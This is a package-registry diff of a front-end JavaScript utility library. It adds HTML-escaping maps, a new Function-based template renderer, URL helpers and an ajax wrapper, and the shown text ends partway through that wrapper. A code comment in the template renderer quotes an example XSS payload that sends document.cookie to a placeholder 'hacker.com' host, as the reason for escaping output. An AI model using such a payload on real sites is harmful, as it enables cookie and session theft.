@codady/utils 0.0.37 → 0.0.39
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +35 -1
- package/dist/utils.cjs.js +651 -54
- package/dist/utils.cjs.min.js +3 -3
- package/dist/utils.esm.js +651 -54
- package/dist/utils.esm.min.js +3 -3
- package/dist/utils.umd.js +651 -54
- package/dist/utils.umd.min.js +3 -3
- package/dist.zip +0 -0
- package/examples/ajax-get.html +59 -0
- package/examples/ajax-hook.html +55 -0
- package/examples/ajax-method.html +36 -0
- package/examples/ajax-post.html +37 -0
- package/examples/buildUrl.html +99 -0
- package/examples/escapeHTML.html +140 -0
- package/examples/getUrlHash.html +71 -0
- package/examples/renderTpl.html +272 -0
- package/modules.js +23 -3
- package/modules.ts +22 -3
- package/package.json +1 -1
- package/src/ajax.js +363 -0
- package/src/ajax.ts +450 -0
- package/src/buildUrl.js +64 -0
- package/src/buildUrl.ts +86 -0
- package/src/capitalize - /345/211/257/346/234/254.js" +19 -0
- package/src/capitalize.js +19 -0
- package/src/capitalize.ts +20 -0
- package/src/cleanQueryString.js +19 -0
- package/src/cleanQueryString.ts +20 -0
- package/src/comma - /345/211/257/346/234/254.js" +2 -0
- package/src/escapeCharsMaps.js +73 -0
- package/src/escapeCharsMaps.ts +74 -0
- package/src/escapeHTML.js +23 -25
- package/src/escapeHTML.ts +29 -25
- package/src/escapeRegexMaps.js +19 -0
- package/src/escapeRegexMaps.ts +26 -0
- package/src/getBodyHTML.js +53 -0
- package/src/getBodyHTML.ts +61 -0
- package/src/getEl.js +1 -1
- package/src/getEl.ts +6 -5
- package/src/getEls.js +1 -1
- package/src/getEls.ts +5 -5
- package/src/getUrlHash.js +37 -0
- package/src/getUrlHash.ts +39 -0
- package/src/isEmpty.js +24 -23
- package/src/isEmpty.ts +26 -23
- package/src/renderTpl.js +37 -14
- package/src/renderTpl.ts +38 -18
- package/src/renderTpt.js +73 -0
- package/src/sliceStrEnd.js +63 -0
- package/src/sliceStrEnd.ts +60 -0
- package/src/toSingleLine.js +9 -0
- package/src/toSingleLine.ts +9 -0
- package/src/escapeHtmlChars - /345/211/257/346/234/254.js" +0 -28
- package/src/escapeHtmlChars.js +0 -28
- package/src/escapeHtmlChars.ts +0 -29
package/dist/utils.cjs.js
CHANGED
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
|
|
2
2
|
/*!
|
|
3
|
-
* @since Last modified: 2026-1-
|
|
3
|
+
* @since Last modified: 2026-1-20 16:40:28
|
|
4
4
|
* @name Utils for web front-end.
|
|
5
|
-
* @version 0.0.
|
|
5
|
+
* @version 0.0.38
|
|
6
6
|
* @author AXUI development team <3217728223@qq.com>
|
|
7
7
|
* @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
|
|
8
8
|
* @see {@link https://www.axui.cn|Official website}
|
|
@@ -240,6 +240,102 @@ const wrapArrayMethods = ({ target, onBeforeMutate = () => { }, onAfterMutate =
|
|
|
240
240
|
return methods;
|
|
241
241
|
};
|
|
242
242
|
|
|
243
|
+
const escapeCharsMaps = {
|
|
244
|
+
//code或pre标签中代码高亮是使用basic
|
|
245
|
+
basic: {
|
|
246
|
+
'&': '&',
|
|
247
|
+
'<': '<',
|
|
248
|
+
'>': '>',
|
|
249
|
+
},
|
|
250
|
+
//需要用在标签属性上attribute
|
|
251
|
+
attribute: {
|
|
252
|
+
'&': '&',
|
|
253
|
+
'<': '<',
|
|
254
|
+
'>': '>',
|
|
255
|
+
'"': '"',
|
|
256
|
+
"'": ''',
|
|
257
|
+
'`': '`',
|
|
258
|
+
},
|
|
259
|
+
//html中的正文内容使用content
|
|
260
|
+
content: {
|
|
261
|
+
'&': '&',
|
|
262
|
+
'<': '<',
|
|
263
|
+
'>': '>',
|
|
264
|
+
'"': '"',
|
|
265
|
+
"'": ''',
|
|
266
|
+
'/': '/',
|
|
267
|
+
},
|
|
268
|
+
//用于url链接则使用uri
|
|
269
|
+
uri: {
|
|
270
|
+
'&': '&',
|
|
271
|
+
'<': '<',
|
|
272
|
+
'>': '>',
|
|
273
|
+
'"': '"',
|
|
274
|
+
"'": ''',
|
|
275
|
+
'(': '(',
|
|
276
|
+
')': ')',
|
|
277
|
+
'[': '[',
|
|
278
|
+
']': ']',
|
|
279
|
+
},
|
|
280
|
+
//极致转意,避免任何注入或非法代码
|
|
281
|
+
paranoid: {
|
|
282
|
+
'&': '&',
|
|
283
|
+
'<': '<',
|
|
284
|
+
'>': '>',
|
|
285
|
+
'"': '"',
|
|
286
|
+
"'": ''',
|
|
287
|
+
'`': '`',
|
|
288
|
+
'/': '/',
|
|
289
|
+
'=': '=',
|
|
290
|
+
'!': '!',
|
|
291
|
+
'#': '#',
|
|
292
|
+
'(': '(',
|
|
293
|
+
')': ')',
|
|
294
|
+
'[': '[',
|
|
295
|
+
']': ']',
|
|
296
|
+
'{': '{',
|
|
297
|
+
'}': '}',
|
|
298
|
+
':': ':',
|
|
299
|
+
';': ';',
|
|
300
|
+
},
|
|
301
|
+
};
|
|
302
|
+
|
|
303
|
+
const escapeRegexMaps = (Object.keys(escapeCharsMaps)).reduce((acc, key) => {
|
|
304
|
+
const chars = Object.keys(escapeCharsMaps[key]);
|
|
305
|
+
// Escape special regex characters to avoid issues in the regex. [ => \[
|
|
306
|
+
const escapedChars = chars.map((c) => c.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
|
|
307
|
+
acc[key] = new RegExp(`[${escapedChars.join('')}]`, 'g');
|
|
308
|
+
return acc;
|
|
309
|
+
}, {});
|
|
310
|
+
|
|
311
|
+
const escapeHTML = (str, strength = 'attribute') => {
|
|
312
|
+
// Return empty string if input is null, undefined, or not a string
|
|
313
|
+
if (typeof str !== 'string')
|
|
314
|
+
return '';
|
|
315
|
+
const map = escapeCharsMaps[strength], regex = escapeRegexMaps[strength];
|
|
316
|
+
// Use String.prototype.replace with a global regex.
|
|
317
|
+
// The callback function retrieves the replacement from the map using the matched character as key.
|
|
318
|
+
return str.replace(regex, (match) => map[match]);
|
|
319
|
+
};
|
|
320
|
+
|
|
321
|
+
const getUniqueId = (options = {}) => {
|
|
322
|
+
const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
|
|
323
|
+
// Current timestamp in milliseconds (since Unix epoch)
|
|
324
|
+
// This provides the primary uniqueness guarantee
|
|
325
|
+
const timestamp = Date.now(),
|
|
326
|
+
// Generate a base-36 random string (0-9, a-z)
|
|
327
|
+
// Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
|
|
328
|
+
// substring(2, 11) extracts 9 characters starting from index 2
|
|
329
|
+
//0.259854635->0.9crs03e8v2
|
|
330
|
+
base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
|
|
331
|
+
// Additional 4-digit random number for extra randomness
|
|
332
|
+
// This helps avoid collisions in high-frequency generation scenarios
|
|
333
|
+
base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
|
|
334
|
+
// Construct the final ID string
|
|
335
|
+
// Format: [prefix_]timestamp_randomBase36_extraRandom
|
|
336
|
+
return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
|
|
337
|
+
};
|
|
338
|
+
|
|
243
339
|
const requireTypes = (data, require, cb) => {
|
|
244
340
|
// Normalize the input types (convert to array if it's a single type)
|
|
245
341
|
let requiredTypes = Array.isArray(require) ? require : [require], dataType = getDataType(data), typeLower = dataType.toLowerCase(),
|
|
@@ -267,22 +363,83 @@ const requireTypes = (data, require, cb) => {
|
|
|
267
363
|
return dataType;
|
|
268
364
|
};
|
|
269
365
|
|
|
270
|
-
const
|
|
271
|
-
const
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
|
|
366
|
+
const toSingleLine = (str, collapseSpaces = false) => {
|
|
367
|
+
const result = str.replace(/[\r\t\n]/g, '');
|
|
368
|
+
return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
|
|
369
|
+
};
|
|
370
|
+
|
|
371
|
+
const renderTpl = (html, data, options = {}) => {
|
|
372
|
+
requireTypes(html, 'string', (error) => {
|
|
373
|
+
//不符合要求的类型
|
|
374
|
+
console.error(error);
|
|
375
|
+
return '';
|
|
376
|
+
});
|
|
377
|
+
if (!html.trim())
|
|
378
|
+
return '';
|
|
379
|
+
let dataType = requireTypes(data, ['array', 'object'], (error) => {
|
|
380
|
+
//不符合要求的类型
|
|
381
|
+
console.error(error);
|
|
382
|
+
return html;
|
|
383
|
+
});
|
|
384
|
+
//data={}/[]
|
|
385
|
+
if (Object.keys(data).length === 0) {
|
|
386
|
+
console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
|
|
387
|
+
return html;
|
|
388
|
+
}
|
|
389
|
+
let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
|
|
390
|
+
//regStart='\\{\\{'
|
|
391
|
+
regStart = opts.start.split('').map(k => '\\' + k).join(''),
|
|
392
|
+
//regEnd='\\}\\}'
|
|
393
|
+
regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '',
|
|
394
|
+
//代替escapeHTML的方法,在字符串内部的映射,确保不会重名
|
|
395
|
+
escapeName = `__esc__${getUniqueId()}`, add = (fragment, isScript) => {
|
|
396
|
+
if (isScript) {
|
|
397
|
+
//处理语句类(如 {{ if(x) /}} )
|
|
398
|
+
if (fragment.endsWith(opts.suffix)) {
|
|
399
|
+
code += (fragment.slice(0, -opts.suffix.length) + '\n');
|
|
400
|
+
}
|
|
401
|
+
else {
|
|
402
|
+
//处理表达式类(如 {{ name }} )
|
|
403
|
+
//需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
|
|
404
|
+
//虽然new Function不会执行,但是也需要将其当做纯文本输出,避免renderTpl输出的文本自带风险,此时则需要转意,确保renderTpl的返回值是安全的纯文本
|
|
405
|
+
code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
|
|
406
|
+
}
|
|
407
|
+
}
|
|
408
|
+
else {
|
|
409
|
+
//fragment可能自带单引号或双引号,需要转意,避免与push("xxx")语句冲突
|
|
410
|
+
//js语句不能直接文本换行,所以也需要转意换行符
|
|
411
|
+
//换行转意的另外一个意义是,保持原文本的换行,因为在toSingleLine中会删除所有物理换行以确保代码可被执行
|
|
412
|
+
code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
|
|
413
|
+
}
|
|
414
|
+
return add;
|
|
415
|
+
};
|
|
416
|
+
while (match = tplReg.exec(html)) {
|
|
417
|
+
add(html.slice(cursor, match.index))(match[1], true);
|
|
418
|
+
cursor = match.index + match[0].length;
|
|
419
|
+
}
|
|
420
|
+
add(html.slice(cursor));
|
|
421
|
+
code += `return str.join('');`;
|
|
422
|
+
//一行行化代码
|
|
423
|
+
//如果文本"XXX (换行)",js执行会报错,所以需要清理换行
|
|
424
|
+
code = toSingleLine(code);
|
|
425
|
+
try {
|
|
426
|
+
if (opts.strict || dataType === 'Array') {
|
|
427
|
+
//严格模式,或者是数组数据,则必须使用this
|
|
428
|
+
result = new Function(escapeName, code).apply(data, [escapeHTML]);
|
|
429
|
+
}
|
|
430
|
+
else {
|
|
431
|
+
////非严格模式,且是对象,则可省略this
|
|
432
|
+
let keys = Object.keys(data), values = Object.values(data),
|
|
433
|
+
//keys传参,可直接以key为值,this依然可指向data
|
|
434
|
+
tmp = new Function(...keys, escapeName, code).bind(data);
|
|
435
|
+
//执行时以value赋值
|
|
436
|
+
result = tmp(...values, escapeHTML);
|
|
437
|
+
}
|
|
438
|
+
}
|
|
439
|
+
catch (err) {
|
|
440
|
+
console.error(`'${err.message}'`, ' in \n', code, '\n');
|
|
441
|
+
}
|
|
442
|
+
return result;
|
|
286
443
|
};
|
|
287
444
|
|
|
288
445
|
const setMutableMethods = ['add', 'delete', 'clear'];
|
|
@@ -786,30 +943,31 @@ const isEmpty = (data) => {
|
|
|
786
943
|
let type = getDataType(data), flag;
|
|
787
944
|
if (!data) {
|
|
788
945
|
//0,'',false,undefined,null
|
|
789
|
-
|
|
946
|
+
return true;
|
|
790
947
|
}
|
|
791
|
-
|
|
792
|
-
|
|
793
|
-
//[null]|[undefined]|['']|[""]
|
|
794
|
-
//[]|{}
|
|
795
|
-
//Symbol()|Symbol.for()
|
|
796
|
-
//Set,Map
|
|
797
|
-
//Date/Regex
|
|
798
|
-
flag = (type === 'Object') ? (Object.keys(data).length === 0) :
|
|
799
|
-
(type === 'Array') ? data.join('') === '' :
|
|
800
|
-
(type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
|
|
801
|
-
(type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
|
|
802
|
-
(type === 'Set' || type === 'Map') ? data.size === 0 :
|
|
803
|
-
type === 'Date' ? isNaN(data.getTime()) :
|
|
804
|
-
type === 'RegExp' ? data.source === '' :
|
|
805
|
-
type === 'ArrayBuffer' ? data.byteLength === 0 :
|
|
806
|
-
(type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
|
|
807
|
-
('length' in data && typeof data.length === 'number') ? data.length === 0 :
|
|
808
|
-
('size' in data && typeof data.size === 'number') ? data.size === 0 :
|
|
809
|
-
(type === 'Error' || data instanceof Error) ? data.message === '' :
|
|
810
|
-
(type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
|
|
811
|
-
false;
|
|
948
|
+
if (['String', 'Number', 'Boolean'].includes(type)) {
|
|
949
|
+
return false;
|
|
812
950
|
}
|
|
951
|
+
//function(){}|()=>{}
|
|
952
|
+
//[null]|[undefined]|['']|[""]
|
|
953
|
+
//[]|{}
|
|
954
|
+
//Symbol()|Symbol.for()
|
|
955
|
+
//Set,Map
|
|
956
|
+
//Date/Regex
|
|
957
|
+
flag = (type === 'Object') ? (Object.keys(data).length === 0) :
|
|
958
|
+
(type === 'Array') ? data.join('') === '' :
|
|
959
|
+
(type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
|
|
960
|
+
(type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
|
|
961
|
+
(type === 'Set' || type === 'Map') ? data.size === 0 :
|
|
962
|
+
type === 'Date' ? isNaN(data.getTime()) :
|
|
963
|
+
type === 'RegExp' ? data.source === '' :
|
|
964
|
+
type === 'ArrayBuffer' ? data.byteLength === 0 :
|
|
965
|
+
(type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
|
|
966
|
+
('length' in data && typeof data.length === 'number') ? data.length === 0 :
|
|
967
|
+
('size' in data && typeof data.size === 'number') ? data.size === 0 :
|
|
968
|
+
(type === 'Error' || data instanceof Error) ? data.message === '' :
|
|
969
|
+
(type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
|
|
970
|
+
false;
|
|
813
971
|
return flag;
|
|
814
972
|
};
|
|
815
973
|
|
|
@@ -1173,19 +1331,6 @@ const trimEmptyLines = (str) => {
|
|
|
1173
1331
|
return str.replace(/^\s*\n|\n\s*$/g, '') || '';
|
|
1174
1332
|
};
|
|
1175
1333
|
|
|
1176
|
-
const escapeHtmlChars = (text) => {
|
|
1177
|
-
// Check if the input text is empty or undefined
|
|
1178
|
-
if (!text)
|
|
1179
|
-
return '';
|
|
1180
|
-
// Replace the special characters with their corresponding HTML entities
|
|
1181
|
-
return text
|
|
1182
|
-
.replace(/&/g, '&') // Replace '&' with '&'
|
|
1183
|
-
.replace(/</g, '<') // Replace '<' with '<'
|
|
1184
|
-
.replace(/>/g, '>') // Replace '>' with '>'
|
|
1185
|
-
.replace(/"/g, '"') // Replace '"' with '"'
|
|
1186
|
-
.replace(/'/g, '''); // Replace "'" with '''
|
|
1187
|
-
};
|
|
1188
|
-
|
|
1189
1334
|
const decodeHtmlEntities = (text) => {
|
|
1190
1335
|
// Check if the input text is empty or undefined
|
|
1191
1336
|
if (!text)
|
|
@@ -1196,6 +1341,448 @@ const decodeHtmlEntities = (text) => {
|
|
|
1196
1341
|
return textArea.value; // Get the decoded string from the text area
|
|
1197
1342
|
};
|
|
1198
1343
|
|
|
1344
|
+
const getBodyHTML = (htmlText, selector) => {
|
|
1345
|
+
// Return early if the input is not a valid string or doesn't look like HTML
|
|
1346
|
+
if (!htmlText || typeof htmlText !== 'string') {
|
|
1347
|
+
return '';
|
|
1348
|
+
}
|
|
1349
|
+
try {
|
|
1350
|
+
|
|
1351
|
+
const parser = new DOMParser(),
|
|
1352
|
+
|
|
1353
|
+
doc = parser.parseFromString(htmlText, 'text/html'),
|
|
1354
|
+
|
|
1355
|
+
bodyContent = doc.body.innerHTML;
|
|
1356
|
+
if (selector) {
|
|
1357
|
+
// Normalize hash: ensure it's a valid ID selector
|
|
1358
|
+
const targetEl = doc.querySelector(selector);
|
|
1359
|
+
if (targetEl) {
|
|
1360
|
+
return targetEl.innerHTML;
|
|
1361
|
+
}
|
|
1362
|
+
// If hash is provided but element not found, we fallback to body or warn
|
|
1363
|
+
console.warn(`Element with selector "${selector}" not found in the HTML.`);
|
|
1364
|
+
}
|
|
1365
|
+
return bodyContent ? bodyContent.trim() : htmlText;
|
|
1366
|
+
}
|
|
1367
|
+
catch (error) {
|
|
1368
|
+
|
|
1369
|
+
console.error("Failed to parse HTML content using DOMParser:", error);
|
|
1370
|
+
return htmlText;
|
|
1371
|
+
}
|
|
1372
|
+
};
|
|
1373
|
+
|
|
1374
|
+
const getUrlHash = (url) => {
|
|
1375
|
+
// Return empty if input is null, undefined, or not a string
|
|
1376
|
+
if (!url || typeof url !== 'string') {
|
|
1377
|
+
return '';
|
|
1378
|
+
}
|
|
1379
|
+
try {
|
|
1380
|
+
|
|
1381
|
+
const baseUrl = window?.location?.origin || 'https://www.axui.cn', urlObj = new URL(url, baseUrl);
|
|
1382
|
+
return urlObj.hash;
|
|
1383
|
+
}
|
|
1384
|
+
catch (error) {
|
|
1385
|
+
|
|
1386
|
+
return '';
|
|
1387
|
+
}
|
|
1388
|
+
};
|
|
1389
|
+
|
|
1390
|
+
const cleanQueryString = (data) => {
|
|
1391
|
+
return typeof data === 'string' && (data.startsWith('?') || data.startsWith('&'))
|
|
1392
|
+
? data.slice(1) // Remove the leading '?' or '&'
|
|
1393
|
+
: data; // Return the string as-is if no leading character is present
|
|
1394
|
+
};
|
|
1395
|
+
|
|
1396
|
+
const buildUrl = ({ url, data, cacheBustKey = '_t', appendCacheBust = true }) => {
|
|
1397
|
+
// 1. Extract and remove the hash (e.g., /page#section -> hash="#section")
|
|
1398
|
+
const hashIndex = url.indexOf('#');
|
|
1399
|
+
let hash = '', pureUrl = url;
|
|
1400
|
+
// If a hash exists, separate it from the base URL
|
|
1401
|
+
if (hashIndex !== -1) {
|
|
1402
|
+
hash = url.slice(hashIndex);
|
|
1403
|
+
pureUrl = url.slice(0, hashIndex);
|
|
1404
|
+
}
|
|
1405
|
+
// 2. Use the URL object to handle the base URL and existing query parameters.
|
|
1406
|
+
// `window.location.origin` ensures the support for relative paths (e.g., '/api/list').
|
|
1407
|
+
const urlObj = new URL(pureUrl, window.location.origin);
|
|
1408
|
+
// 3. Append business data (query parameters) to the URL if data is not empty
|
|
1409
|
+
if (!isEmpty(data)) {
|
|
1410
|
+
let params, dataType = getDataType(data);
|
|
1411
|
+
// If the data is a URLSearchParams object, directly use it
|
|
1412
|
+
if (dataType === 'URLSearchParams') {
|
|
1413
|
+
params = data;
|
|
1414
|
+
}
|
|
1415
|
+
else if (dataType === 'object') {
|
|
1416
|
+
// If the data is an object, convert it to URLSearchParams
|
|
1417
|
+
params = new URLSearchParams(data);
|
|
1418
|
+
}
|
|
1419
|
+
else {
|
|
1420
|
+
// If the data is a string, clean it up (remove leading '?' or '&')
|
|
1421
|
+
params = new URLSearchParams(cleanQueryString(data));
|
|
1422
|
+
}
|
|
1423
|
+
// Append new parameters to the existing URL search parameters
|
|
1424
|
+
params.forEach((value, key) => {
|
|
1425
|
+
urlObj.searchParams.append(key, value);
|
|
1426
|
+
});
|
|
1427
|
+
}
|
|
1428
|
+
// 4. Optionally add the cache-busting parameter if the flag is set
|
|
1429
|
+
appendCacheBust && cacheBustKey && urlObj.searchParams.set(cacheBustKey, Date.now().toString());
|
|
1430
|
+
// 5. Return the final URL: base URL + query parameters + original hash (if any)
|
|
1431
|
+
return urlObj.toString() + hash;
|
|
1432
|
+
};
|
|
1433
|
+
|
|
1434
|
+
const capitalize = (str) => {
|
|
1435
|
+
// Check if the input string is empty or undefined
|
|
1436
|
+
if (!str)
|
|
1437
|
+
return str;
|
|
1438
|
+
// Capitalize the first letter and return the new string
|
|
1439
|
+
return str.charAt(0).toUpperCase() + str.slice(1);
|
|
1440
|
+
};
|
|
1441
|
+
|
|
1442
|
+
const ajax = (options) => {
|
|
1443
|
+
// Validation
|
|
1444
|
+
if (isEmpty(options)) {
|
|
1445
|
+
return Promise.reject(new Error('Options are required'));
|
|
1446
|
+
}
|
|
1447
|
+
if (!options.url || typeof options.url !== 'string') {
|
|
1448
|
+
return Promise.reject(new Error('URL is required and must be a string'));
|
|
1449
|
+
}
|
|
1450
|
+
// Default configuration
|
|
1451
|
+
const config = {
|
|
1452
|
+
url: '',
|
|
1453
|
+
method: 'POST',
|
|
1454
|
+
async: true,
|
|
1455
|
+
selector: '',
|
|
1456
|
+
data: null,
|
|
1457
|
+
timeout: 3600000,
|
|
1458
|
+
headers: {},
|
|
1459
|
+
responseType: '',
|
|
1460
|
+
catchError: false,
|
|
1461
|
+
signal: null,
|
|
1462
|
+
xhrFields: {},
|
|
1463
|
+
cacheBustKey: '_t',
|
|
1464
|
+
//
|
|
1465
|
+
onAbort: null,
|
|
1466
|
+
onTimeout: null,
|
|
1467
|
+
//
|
|
1468
|
+
onBeforeSend: null,
|
|
1469
|
+
//
|
|
1470
|
+
onCreated: null,
|
|
1471
|
+
onOpened: null,
|
|
1472
|
+
onHeadersReceived: null,
|
|
1473
|
+
onLoading: null,
|
|
1474
|
+
//
|
|
1475
|
+
onSuccess: null,
|
|
1476
|
+
onFailure: null,
|
|
1477
|
+
onInformation: null,
|
|
1478
|
+
onRedirection: null,
|
|
1479
|
+
onClientError: null,
|
|
1480
|
+
onServerError: null,
|
|
1481
|
+
onUnknownError: null,
|
|
1482
|
+
onError: null,
|
|
1483
|
+
onFinish: null,
|
|
1484
|
+
//
|
|
1485
|
+
onDownload: null,
|
|
1486
|
+
onUpload: null,
|
|
1487
|
+
onComplete: null,
|
|
1488
|
+
};
|
|
1489
|
+
//合并参数
|
|
1490
|
+
Object.assign(config, options);
|
|
1491
|
+
//
|
|
1492
|
+
const method = config.method.toUpperCase() || 'POST', methodsWithoutBody = ['GET', 'HEAD', 'TRACE'];
|
|
1493
|
+
//创建XMLHttpRequest
|
|
1494
|
+
let xhr = new XMLHttpRequest(),
|
|
1495
|
+
//设置发送数据和预设请求头
|
|
1496
|
+
requestData = null, headerContentType = config?.headers?.['Content-Type'] || config?.headers?.['content-type'], removeHeader = () => {
|
|
1497
|
+
if (headerContentType) {
|
|
1498
|
+
delete config.headers['Content-Type'];
|
|
1499
|
+
delete config.headers['content-type'];
|
|
1500
|
+
}
|
|
1501
|
+
};
|
|
1502
|
+
if (!isEmpty(config.data)) {
|
|
1503
|
+
let dataType = getDataType(config.data);
|
|
1504
|
+
if (dataType === 'FormData') {
|
|
1505
|
+
//如果是new FormData格式,直接相等
|
|
1506
|
+
requestData = config.data;
|
|
1507
|
+
// 不需要手动设置Content-Type,浏览器会自动设置
|
|
1508
|
+
//config.contType = 'multipart/form-data';
|
|
1509
|
+
removeHeader();
|
|
1510
|
+
}
|
|
1511
|
+
else if (dataType === 'Object') {
|
|
1512
|
+
//如果是对象格式{name:'',age:''}
|
|
1513
|
+
//并且此时已经设置了contType
|
|
1514
|
+
if (!headerContentType) {
|
|
1515
|
+
//如果未设置则默认设为如下contType
|
|
1516
|
+
//Content-Type=application/x-www-form-urlencoded
|
|
1517
|
+
|
|
1518
|
+
requestData = new URLSearchParams(config.data).toString();
|
|
1519
|
+
//URLSearchParams.toString => `a=1&b=3`
|
|
1520
|
+
//非get、head方法修正content-type
|
|
1521
|
+
if (!methodsWithoutBody.includes(method)) {
|
|
1522
|
+
config.headers['Content-Type'] = 'application/x-www-form-urlencoded';
|
|
1523
|
+
}
|
|
1524
|
+
}
|
|
1525
|
+
else if (headerContentType?.includes('application/json')) {
|
|
1526
|
+
//Content-Type=application/json或contentType=application/json
|
|
1527
|
+
requestData = JSON.stringify(config.data);
|
|
1528
|
+
}
|
|
1529
|
+
else {
|
|
1530
|
+
requestData = config.data;
|
|
1531
|
+
}
|
|
1532
|
+
}
|
|
1533
|
+
else if (dataType === 'String') {
|
|
1534
|
+
//未设置或,已经设置了Content-Type=application/x-www-form-urlencoded
|
|
1535
|
+
if (!headerContentType || headerContentType.includes('urlencoded')) {
|
|
1536
|
+
//如果是name=''&age=''字符串
|
|
1537
|
+
//?name=''&age=''或&name=''&age=''统一去掉第一个&/?
|
|
1538
|
+
requestData = cleanQueryString(config.data.trim());
|
|
1539
|
+
//非get、head方法修正content-type
|
|
1540
|
+
if (!methodsWithoutBody.includes(method) && !headerContentType) {
|
|
1541
|
+
config.headers['Content-Type'] = 'application/x-www-form-urlencoded';
|
|
1542
|
+
}
|
|
1543
|
+
}
|
|
1544
|
+
else {
|
|
1545
|
+
requestData = config.data;
|
|
1546
|
+
}
|
|
1547
|
+
}
|
|
1548
|
+
else {
|
|
1549
|
+
requestData = config.data;
|
|
1550
|
+
}
|
|
1551
|
+
}
|
|
1552
|
+
//设置超时时间
|
|
1553
|
+
xhr.timeout = config.timeout;
|
|
1554
|
+
// 响应类型
|
|
1555
|
+
if (config.responseType) {
|
|
1556
|
+
xhr.responseType = config.responseType;
|
|
1557
|
+
}
|
|
1558
|
+
//返回promise
|
|
1559
|
+
const result = new Promise((resolve, reject) => {
|
|
1560
|
+
//超时监听
|
|
1561
|
+
const timeoutHandler = () => {
|
|
1562
|
+
cleanup();
|
|
1563
|
+
let resp = { ...context, status: xhr.status, content: xhr.response, type: 'timeout' };
|
|
1564
|
+
//回调,status和content在此确认
|
|
1565
|
+
config?.onTimeout?.(resp);
|
|
1566
|
+
//reject只能接受一个参数
|
|
1567
|
+
config.catchError ? reject(resp) : resolve(resp);
|
|
1568
|
+
},
|
|
1569
|
+
//报错监听
|
|
1570
|
+
errorHandler = (resp) => {
|
|
1571
|
+
//这几个错误来自xhr.onreadystatechange
|
|
1572
|
+
if (resp.type === 'client-error') {
|
|
1573
|
+
config?.onClientError?.({ ...context });
|
|
1574
|
+
}
|
|
1575
|
+
else if (resp.type === 'server-error') {
|
|
1576
|
+
config?.onServerError?.({ ...context });
|
|
1577
|
+
}
|
|
1578
|
+
else if (resp.type === 'unknown-error') {
|
|
1579
|
+
config?.onUnknownError?.({ ...context });
|
|
1580
|
+
}
|
|
1581
|
+
//此外还会有xhr.onerror的错误,所以需要统一使用onError监听
|
|
1582
|
+
config?.onError?.(resp);
|
|
1583
|
+
//reject只能接受一个参数
|
|
1584
|
+
config.catchError ? reject(resp) : resolve(resp);
|
|
1585
|
+
},
|
|
1586
|
+
//取消监听
|
|
1587
|
+
abortHandler = () => {
|
|
1588
|
+
cleanup();
|
|
1589
|
+
const resp = { ...context, status: xhr.status, type: 'abort' };
|
|
1590
|
+
config.catchError ? reject(resp) : resolve(resp);
|
|
1591
|
+
//回调,status和content在此确认
|
|
1592
|
+
config?.onAbort?.(resp);
|
|
1593
|
+
}, abortHandlerWithSignal = () => {
|
|
1594
|
+
//先中止请求,防止触发其他 readystate 事件
|
|
1595
|
+
xhr.abort();
|
|
1596
|
+
abortHandler();
|
|
1597
|
+
},
|
|
1598
|
+
//成功监听
|
|
1599
|
+
successHandler = (resp) => {
|
|
1600
|
+
//成功回调
|
|
1601
|
+
config?.onSuccess?.(resp);
|
|
1602
|
+
//resolve只能接受一个参数
|
|
1603
|
+
resolve(resp);
|
|
1604
|
+
},
|
|
1605
|
+
//统一处理abort
|
|
1606
|
+
cleanup = () => {
|
|
1607
|
+
// 如果使用了AbortSignal,则移除它的事件监听器
|
|
1608
|
+
config.signal && config.signal.removeEventListener('abort', abortHandlerWithSignal);
|
|
1609
|
+
// 移除各类事件监听器
|
|
1610
|
+
config.onError && xhr.removeEventListener('error', errorHandler);
|
|
1611
|
+
config.onTimeout && xhr.removeEventListener('timeout', timeoutHandler);
|
|
1612
|
+
// 解绑上传/下载进度事件
|
|
1613
|
+
config.onUpload && xhr.upload.removeEventListener('progress', uploadProgressHandler);
|
|
1614
|
+
config.onDownload && xhr.removeEventListener('progress', downloadProgressHandler);
|
|
1615
|
+
//销毁
|
|
1616
|
+
xhr.onreadystatechange = null;
|
|
1617
|
+
},
|
|
